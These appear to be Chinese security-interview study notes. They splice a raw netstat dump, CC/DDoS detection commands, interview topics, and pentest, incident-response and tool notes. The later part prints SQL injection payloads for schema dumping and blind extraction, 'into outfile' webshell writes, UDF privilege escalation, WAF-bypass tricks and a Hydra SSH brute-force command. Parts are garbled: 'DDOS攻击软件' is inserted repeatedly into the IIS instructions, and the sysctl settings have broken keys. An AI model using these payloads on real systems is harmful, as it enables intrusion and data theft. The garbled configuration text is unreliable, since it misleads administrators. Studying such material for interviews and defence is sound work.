tcp        0      0 192.168.5.135:80        112.25.60.15:64320      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:64792      TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.12:51689       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:58154      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:54846      TIME_WAIT  
tcp        0      0 192.168.5.135:80        42.81.56.4:27775        TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:44557      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:49729      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.18:44392    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:1244       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:50512      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:57368     TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:61796     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:48745      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:45109      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:2962      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:59698      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:47941      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:1106      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:56325      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.7:12980      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:2209       TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:47685      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:2430      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:14599      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:49754      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:55882     TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:47634      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:33798      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:40079      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:4559       TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.16:8592     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:13874      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:1502       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:5526       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:63767      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:14756      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.16:51491    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:48293      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:2469      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:4796       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:59033     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.17:49584      TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.10:2949        TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:1513      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.17:20606    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:5016       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:60322      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:55176      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:59815      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:64584      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:46841      TIME_WAIT  
tcp        0      0 192.168.5.135:80        61.160.224.7:3992       TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.22:32405    TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.8:27289      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:59362      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:41501      TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.11:4843        TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:13238      TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.8:31606        TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.17:45563    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:42254      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:54195      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:52433      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.8:36198      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:62171      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:4284       TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.17:51083    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:48035      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:4635       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:60319     TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:56036     TIME_WAIT  
tcp        0      0 192.168.5.135:80        42.81.56.5:63546        TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.16:5320     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:4104       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.18:23095     TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.12:62943       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:64311     TIME_WAIT  
tcp        0      0 192.168.5.135:56058     192.168.5.5:443         TIME_WAIT  
tcp        0      0 192.168.5.135:80        61.160.224.7:1708       TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:53950      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:8268      TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.11:6398        TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:4879      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:13050      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:4163       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:50122      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:1077      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:6258       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:13321      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:56809      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:50840      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:55262      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:49726      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:43949      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:54122      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.7:21791      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:8259       TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.8:37328        TIME_WAIT  
tcp        0      0 192.168.5.135:80        123.6.13.8:39406        TIME_WAIT  
tcp        0      0 192.168.5.135:80        117.107.128.162:14695   TIME_WAIT  
tcp        0      0 192.168.5.135:80        61.160.224.10:61538     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.21:31853      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:46326      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:60789      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:11682      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:57665      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:57883     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:2997       TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.8:43486      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:58618     TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:56408      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.16:52196    ESTABLISHED
tcp        0      0 192.168.5.135:80        112.25.60.15:7527       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:3689       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:61110     TIME_WAIT  
tcp        0      0 192.168.5.135:80        61.240.144.25:39293     TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:40076      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.8:34250      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:42872      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:53934      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:55362     TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:57328     TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:64976     TIME_WAIT

解决：

思路很简单，让服务器尽快的收回浪费的TIME_WAIT资源，让服务器尽快重用TIME_WAIT资源

`WIndows`服务器遭受`CC`攻击判别方法：

1.遭受CC攻击时web服务器会出现80端口对外关闭现象
netstat -ano如果出现大量SYN_RECEEIVED 或者TIME_WAIT那么大概率事件服务器就是cc攻击了表明无法建立握手应答处于等待状态
2.我们可以通过写一个批处理的脚本来判断服务器是不是处于cc攻击的状态
比如说：

echo off time /t >>log.log
netstat -n -p tcp lfind “:80”>>Log.log notepad log.log
exit

脚本大概意思就是筛选当前所有ddos到80端口的外来链接
嫌麻烦直接netstat -ano|findstr “80” > c:\log.log
3.直接看web日志，路径在C:WINDOWSsystem32LogFilesHTTPERR目录下会有类似httperr1.log啥啥的日志文件，可能存在很多日志，可以根据日志时间什么的判断，一般默认web日志记录的ddos攻击软件项并不多，我们可以建议用户通过.iis配置，让web日志记录更多
大概操作时这样：

开始→管理工具”打开“Internet信息服务器”，展开左侧的DDOS攻击软件项定位到到相应的DDOS攻击软件Web站点， 
然后右键点击选择“属性”打开站点属性窗口，在“网站”选项卡下点击“属性”按钮，在“日志记录属 性”窗口的DDOS攻击软件“高级”选项卡下可以勾选相应的DDOS攻击软件“扩展属性”，以便让Web日志进行记录。 比如其中的DDOS攻击软件“发送的DDOS攻击软件字节数”、“接收的DDOS攻击软件字节数”、“所用时间 ”这三项默认是没有选中的DDOS攻击软件，但在记录判断CC攻击中是非常有用的DDOS攻击软件，可以勾选。如果你对安全的DDOS攻击软件要求比较高，可以在“常规”选项卡下对“新日志计划”进行设置，让其“每小时 ”或者“每一天”进行记录。为了便于日后进行分析时好确定时间可以勾选“文件命名和创建使用当地时间”

Linux服务器判别方法：

1.tcpdump
a. 通过tcpdump -s0 -A -n -i any | grep -o -E '(GET|POST|HEAD) .*'判断，一般都属输出一些静态文件比如说css,js啥啥的，如果出现差不多固定的地址或者非常奇怪的地址，多半就是被攻击了
b:通过tcpdump -s0 -A -n -i any | grep ^User-Agent判断，不同用户正常访问是可以通过useragent看出来的，但你看到很多固定的useragent输出，那一定是被攻击了
如果你服上有很多网站，你可以用tcpdump -s0 -A -n -i any | grep ^Host来输出那个网站正在被疯狂请求
2.netstat
a.通过netstat -nat|grep -i “80”|wc -l来查看80端口的连接数
b.通过netstat -ntu | awk ‘{print $5}’ | cut -d： -f1 | sort | uniq -c | sort -n对ip连接数进行排序
b. 通过netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n 判断，IP前面的数字时链接书，正常网站几十到一百都算正常，但出现几千，那大概率事件就是肯定cc攻击了
如果你服的httpd服务被疯狂的c了，那么你可以通过设置一些参数让服务器主动断开与客户服务端连接，为毛？因为他猫了个咪的你不断开，就会导致更多资源被阻塞
修改/etc/sysctl.conf文件，添加：

net.ipv4.tcp+syncookies = 1 //开启SYN_Coolies
net.ipv4 tw_recycle =1 //让time_wait可以重用
net.ipv4.tcp_fin_timeout =30 //默认的超时时间

先写这么多，以后遇到，在来总结

Christmas

合众人寿大佬说
总觉得：
一般批量刷0-Nday的多是X产；
要求内网渗透技能的多是X产和XX；
要求web挖洞技能的多是X产XX和专业X团队；
要求应用程序挖洞技能的多是XX；
要求综合技能的多是X服；
要求综合技能加文案的多是甲方
我觉得有点道理,1433,223

Christmas

第二面也可能会有第三面第四面…技术面

CTF
- 说一个印象深刻的CTF的题目
  - sql二次注入
Python
密码学
- RSA
- DES
- AES
- 国内SM系列
风险评估
- 流程
- 三要素
代码审计
应急响应具体流程
- 模型
- 实例
渗透测试流程相关
数据库注入
XSS CSRF XXE
文件上传下载遍历漏洞
- 原理
- 修复方案
文件包含漏洞
web框架漏洞弱点
- 服务端注入之Flask框架中服务端模板注入问题
HTTP协议
路由协议
- 你搭建过的最复杂的网络设备是什么
- 使用过什么硬件设备
Linux运维
Windows运维
ISO27000和等保(重点等保)
算法
- 排序算法：快排二分冒泡
LDAP注入

https://zhuanlan.zhihu.com/p/25582026

给你一个网站你是如何来渗透测试的? - 杨文的文章 - 知乎 http://zhuanlan.zhihu.com/p/25605198

技术面试问题

CTF

说一个印象深刻的CTF的题目

Padding Oracle->CBC->密码学(RSA/AES/DSA/SM)
CRC32
反序列化漏洞

sql二次注入

第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。
在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。

交友网站，填写年龄处是一个注入点，页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点，用order by探测列数，union select探测输出点是第几列，

暴库 group_concat(schema_name) from information_schema.schemata
暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'
获取数据 concat(flag) from flag

修复：在从数据库或文件中取数据的时候，也要进行转义或者过滤。

Python

爬虫模块、框架、反爬虫机制（IP->代理池、验证码破解、UA）

并发(多线程、线程池、协程、三个程之间的区别)

进程是cpu资源分配的最小单位，线程是cpu调度的最小单位。以前进程既是资源分配也是调度的最小单位，后来为了更合理的使用cpu(实际上是cpu性能越来越好)，才将资源分配和调度分开，就有了线程。线程是建立在进程的基础上的一次程序运行单位。

常用的标准库

functools
itertools 迭代器
- count/cycle/repeat
- chain
- groupby 把迭代器中相邻的重复元素挑出来放在一起
concurrent.futures
- ThreadPoolExecutor
hashlib
- md5
- sha1
- sha256
- sha512
logging
sys.argv argparse读取命令行参数
pickle 序列化工具
re 正则
collections 多种数据类型
- namedtuple
- OrderedDict
- Counter
os 系统相关的函数

DJANGO和FLASK区别和使用

ORM

python安全工具编写/源码阅读

证明能力

python安全工具开发
python项目，记一下技术细节

密码学

RSA

DES

AES

国内SM系列

风险评估

流程

三要素

资产：资产价值
威胁：威胁主体、影响对象、出现频率、动机等
脆弱性：资产弱点的严重程度‘

代码审计

Fority SCA审计JAVA代码

fortify用到什么模块? 过滤器自定义规则生成报告

Seay审计PHP代码

源码阅读

应急响应具体流程

模型

https://zhuanlan.zhihu.com/p/26542790

PDCERF模型

Prepare（准备）：准备用来检测的工具和人
Detection（检测）：紧急事件监测：包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志，不正常或者是执行了越权操作的用户，甚至还有管理员的报告
Containment（抑制）：首先先控制受害范围，不要让攻击的影响继续蔓延到其他的IT资产和业务环境，切记不要直接一股脑的投入全部精力到封堵后门。紧接着要做的是去寻找根源原因，彻底解决，封堵攻击源，把业务恢复到更张水平
Eradication（根除）
Recover（恢复）
Follow-Up（跟踪）：根据各种监控去确定没有其他的攻击行为和攻击向量，紧接着就是开会反省此次事件，写报告，持续改进工作流程和工作缓解

实例

DDOS

DDOS是什么

分布式拒绝服务攻击（DDoS）是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有很多种，最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。

DDOS攻击手段是在传统的DOS攻击基础之上产生的一类攻击方式。单一的DOS攻击一般是采用一对一方式的，当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展，计算机的处理能力迅速增长，内存大大增加，同时也出现了千兆级别的网络，这使得DOS攻击的困难程度加大了——目标对恶意攻击包的“消化能力”加强了不少，例如你的攻击软件每秒钟可以发送3,000个攻击包，但我的主机与网络带宽每秒钟可以处理10,000个攻击包，这样一来攻击就不会产生什么效果这时侯分布式的拒绝服务攻击手段（DDOS）就应运而生了。

如果说计算机与网络的处理能力加大了10倍，用一台攻击机来攻击不再能起作用的话，攻击者使用10台攻击机同时攻击呢？用100台呢？DDOS就是利用更多的傀儡机来发起进攻，以比从前更大的规模来进攻受害者。通常，被攻击的服务器有以下症状：1、被攻击主机上有大量等待的TCP连接；2、网络中充斥着大量的无用的数据包，源地址为假；3、制造高流量无用数据，造成网络拥塞，使受害主机无法正常和外界通讯；4、利用受害主机提供的服务或传输协议上的缺陷，反复高速的发出特定的服务请求，使受害主机无法及时处理所有正常请求；5、严重时会造成系统死机

实例

我司网站www.catroot.cn的IP 223.223.223.223 被人DDOS攻击，流量达9G，并且机房流量清洗无效，所以把223.223.223.223封停，导致网站不能访问，请作出紧急预案。

https://www.zhihu.com/question/19581905

网络设备设施
- 拼带宽，加大带宽，但是成本太高
- 使用硬件防火墙
- 选用高性能设备
抗D思想和方案
- 负载均衡
- 花钱买流量清洗服务
- CDN：web层，比如cc攻击
- 分布式集群防御
- 高防：防大部分攻击，udp、大型的cc攻击
预防为主
- 系统漏洞
- 系统资源优化：
- 过滤不必要的服务和端口
- 限制特定流量：检查访问来源做适当限制

主机被入侵

优先提取易消失的数据
- 内存信息
- 系统进程free -m
- 路由信息tracert
ifconfig查看网卡流量，检查网卡的发送、接收数据情况
NetHogs实时监控带宽占用状况
查看Linux系统日志 /var/log
ClamAV杀毒软件

渗透测试流程相关

渗透测试流程

项目访谈
信息收集：whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
漏洞扫描：Nessus, AWVS
手动挖掘：逻辑漏洞
验证漏洞
修复建议
（如果有）基线检查/复验漏洞
输出报告
- 概述
- 测试基本信息
  - 测试范围
  - 测试时间
  - 测试任务
  - 测试过程
- 信息安全风险综合分析
  - 整体风险分析
  - 风险影响分析
  - 系统安全分析
  - 安全漏洞列表
- 解决方案建议
- 复测报告

渗透测试项目

用七八句话概括一下发现、验证漏洞细节、扮演角色、具体工作。
如果技术人员有兴趣会继续问，接着再引导到别处，让自己多说说细节。

渗透测试具体实施

17年OWASP TOP10

注入:sql,nosql,ldap,os
失效的身份认证:
敏感信息泄漏
XXE XML外部实体
失效的访问控制：管理页面仅能管理员权限访问；越权漏洞
安全配置错误：页面错误信息，默认密码，使用已知漏洞的应用
XSS
不安全的反序列化：一个PHP论坛使用PHP对象序列化来保存一个cookie，用户修改cookie即可伪造管理员登陆
使用含有已知漏洞的组件：比如structs2框架
不足的日志记录和监控：代码被删除，无法溯源；记录登陆失败次数；监控问题没被管理员响应

常见的Web安全漏洞

SQL注入
XSS
文件遍历、文件上传、文件下载
垂直越权、水平越权
逻辑漏洞

挖过什么逻辑漏洞

订单任意金额修改

相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数。

预防思路：

订单需要多重效验
订单数值较大的时候需要人工审核

验证码回传

漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮箱邮件

预防思路：

response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加
如果要进行前端验证的话也可以，但是需要进行加密

未进行登陆凭证验证

有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没验证ID或cookie验证导致越权。

预防思路：

对敏感数据存在的接口和页面做cookie，ssid，token或者其它验证

接口无限制枚举

某电商登陆接口无验证导致撞库
某招聘网验证码无限制枚举
某快递公司优惠券枚举
某电商会员卡卡号枚举

预防思路：

在输入接口设置验证，如token，验证码等。如果设定验证码，最好不要单纯的采取一个前端验证，最好选择后端验证。如果设定token，请确保每个token只能采用一次，并且对token设定时间参数。
注册界面的接口不要返回太多敏感信息，以防遭到黑客制作枚举字典。
验证码不要用短数字，尽量6位以上，最好是以字母加数字进行组合，并且验证码需要设定时间期限。
优惠券，VIP卡号请尽量不要存在规律性和简短性，并且优惠券最好是以数字加字母进行组合。

cookie设置存在缺陷

Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单，导致黑客可以对cookie的效验值进行一个枚举.
cookie存在被盗风险，即用户重置密码后使用老cookie依然可以通过验证
用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。不能采取简单的base64等算法
越权：平行越权：权限类型不变，权限ID改变；垂直越权：权限ID不变，权限类型改变；交叉越权：即改变ID，也改变权限

预防思路

cookie中设定多个验证，比如自如APP的cookie中，需要sign和ssid两个参数配对，才能返回数据。
用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
用户的cookie的生成过程中最好带入用户的密码，一旦密码改变，cookie的值也会改变。
cookie中设定session参数，以防cookie可以长时间生效。
根据业务不同还有很多方法

找回密码功能缺陷

单纯读取内存值作为用户凭证
电商系统加车、下单漏洞

你常用的渗透工具有哪些，最常用的是哪个？

扫描:Nessus,AWVS,Nikto

SQLmap

https://blog.csdn.net/ski_12/article/details/58188331

常用参数

-u 单个URL -m xx.txt 多个URL
-d "mysql://user:password@10.10.10.137:3306/dvwa"  作为服务器客户端，直接连接数据库
--data post/get都适用
-p 指定扫描的参数
-r 读取文件
-f 指纹信息
--tamper 混淆脚本，用于应用层过滤
--cookie --user-agent --host等等http头的修改
--threads 并发线程 默认为1
--dbms MySQL<5.0> 指定数据库或版本

–level=LEVEL 执行测试的等级（1-5，默认为 1）
–risk=RISK 执行测试的风险（0-3，默认为 1） Risk升高可造成数据被篡改等风险
–current-db / 获取当前数据库名称
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户

常用的tamper

本地：sqlmap-tamper分类.xlsx

base64encode.py #转为b64编码
charencode.py url编码
chardoubleencode.py 双URL编码
unmagicquotes.py 宽字节
randomcomments.py 用/**/分割SQL关键字
space2plus.py space2comment.py space2xxxx.py 替换空格为xx

Nmap

nmap hostname/ip或者多个ip或者子网192.168.123.*
-iL ip.txt 扫描ip.txt的所有ip
-A 包含了-sV，-O，探测操作系统信息和路由跟踪。一般不用，是激烈扫描
-O 探测操作系统信息
-sV 查找主机服务版本号
-sA 探测该主机是否使用了包过滤器或防火墙
-sS 半开扫描，一般不会记入日志，不过需要root权限。
-sT TCP connect()扫描，这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-sP ping扫描，加上这个参数会使用ping扫描，只有主机存活，nmap才会继续扫描，一般最好不加，因为有的主机会禁止ping，却实际存在。
-sN TCP空扫描
-F 快速扫描
-Pn 扫描之前不使用ping，适用于防火墙禁止ping，比较有用。
-p 指定端口/端口范围
-oN 将报告写入文件
-v 详细信息
-T<0-5> 设定速度

Nmap还可以用到爆破等一些脚本

--script all 使用所有脚本
--script=sql.injection.nse sql注入
--script="smb*"  扫smb系列

Metasploit

使用内置模块。HR：常用的模块有哪些？
tcp反向链接 msfvenom

Hydra

密码爆破工具，FTP，MSSQL，MYSQL，POP3，SSH，rdp，


hydra IP -l loginname -P pass.txt PROTROCL
hydra 127.0.0.1 -l root -P pass.txt ssh

kali信息收集工具

dig
whois
host:查询dns服务器
nslookup
域名枚举：fierse -dns
maltego
onesixtyone

流量分析WireShark

CTF

描述一个你深入研究过的CVE或POC(ms17-010/最新的CVE)

数据库注入

https://www.zhihu.com/question/22953267

MySQL面试题

MySQL存储引擎？

InnoDB：主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束

为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全（ACID兼容）存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中，可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来，甚至在同一个查询中也可以混合
InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中，表空间可以包含数个文件（或原始磁盘文件）。这与MyISAM表不同，比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸，即使在文件尺寸被限制为2GB的操作系统上
InnoDB支持外键完整性约束，存储表中的数据时，每张表的存储都按主键顺序存放，如果没有显示在表定义时指定主键，InnoDB会为每一行生成一个6字节的ROWID，并以此作为主键

MyISAM：访问速度快，不支持事务，逐渐被淘汰
MEMORY：BTREE索引或者HASH索引。将表中数据放在内存中，并发性能差。information_schema用的是该引擎
MERGE、Archive等等不常用的

什么是事务？

事务是一组原子性的SQL语句或者说是一个独立的工作单元，如果数据库引擎能够成功对数据库应用这组SQL语句，那么就执行，如果其中有任何一条语句因为崩溃或其它原因无法执行，那么所有的语句都不会执行。也就是说，事务内的语句，要么全部执行成功，要么全部执行失败。
举个银行应用的典型例子：

假设银行的数据库有两张表：支票表和储蓄表，现在某个客户A要从其支票账户转移2000元到其储蓄账户，那么至少需求三个步骤：

a.检查A的支票账户余额高于2000元；

b.从A的支票账户余额中减去2000元；

c.在A的储蓄账户余额中增加2000元。

这三个步骤必须要打包在一个事务中，任何一个步骤失败，则必须要回滚所有的步骤，否则A作为银行的客户就可能要莫名损失2000元，就出问题了。这就是一个典型的事务，这个事务是不可分割的最小工作单元，整个事务中的所有操作要么全部提交成功，要么全部失败回滚，不可能只执行其中一部分，这也是事务的原子性特征。

读锁和写锁

读锁是共享的，即相互不阻塞的，多个客户在同一时刻可以读取同一资源，互不干扰。写锁是排他的，即一个写锁会阻塞其它的写锁和读锁，只有这样，才能确保给定时间内，只有一个用户能执行写入，防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。

MySQL的索引

索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引；MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。

ORDER BY在注入的运用

GPC是什么？GPC之后怎么绕过？

如果magic_quotes_gpc=On，PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符（认为是php的字符）引起的污染。

Mysql一个@和两个@什么区别

@为用户变量，使用SET @var1=1赋值
@@ 为系统变量，包括全局变量show global variables \G;和会话变量show session variables \G;

注入/绕过常用的函数

基于布尔SQL盲注
- left(database(),1)>'s'
- ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
- ascii(substr((select database()),1,1))=98
- ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
- regexp正则注入 select user() regexp '^[a-z]';
- select user() like 'ro%'
基于报错的SQL盲注
- Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

MySQL存储过程

各种写shell的问题

写shell用什么函数？
- select '<?php phpinfo()> into outfile 'D:/shelltest.php'
- dumpfile
- file_put_contents
outfile不能用了怎么办？ select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
dumpfile和outfile有什么不一样？outfile适合导库，在行末尾会写入新行并转义，因此不能写入二进制可执行文件。
sleep()能不能写shell？
写shell的条件？
- 用户权限
- 目录读写权限
- 防止命令执行：disable_functions，禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source，但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html
- open_basedir: 将用户可操作的文件限制在某目录下

注入类型

基于报错注入
基于布尔的注入，根据返回页面判断条件真假的注入
基于时间的盲注，不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
宽字节注入
联合查询，可以使用 union 的情况下的注入。
堆查询注入，可以同时执行多条语句的执行时的注入。

SQL注入的原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题，意外变成了代码被执行。

过waf

https://blog.csdn.net/wjy397/article/details/53263281

确定waf类型，狗、盾、神、锁、宝、卫士
使用注释符号或者特殊符号或者多个特殊符号重复

# 
--
-- - //5.6.12特性，需要加空格
--+
//
/**/ //c风格注释
/**//**/  //多个注释
/*letmetest*/
;


# 科学记数法
id=0e1union select



# 空白字符
SQLite3 0A 0D 0C 09 20 
MySQL5 09 0A 0B 0C 0D A0 20 
PosgresSQL 0A 0D 0C 09 20 
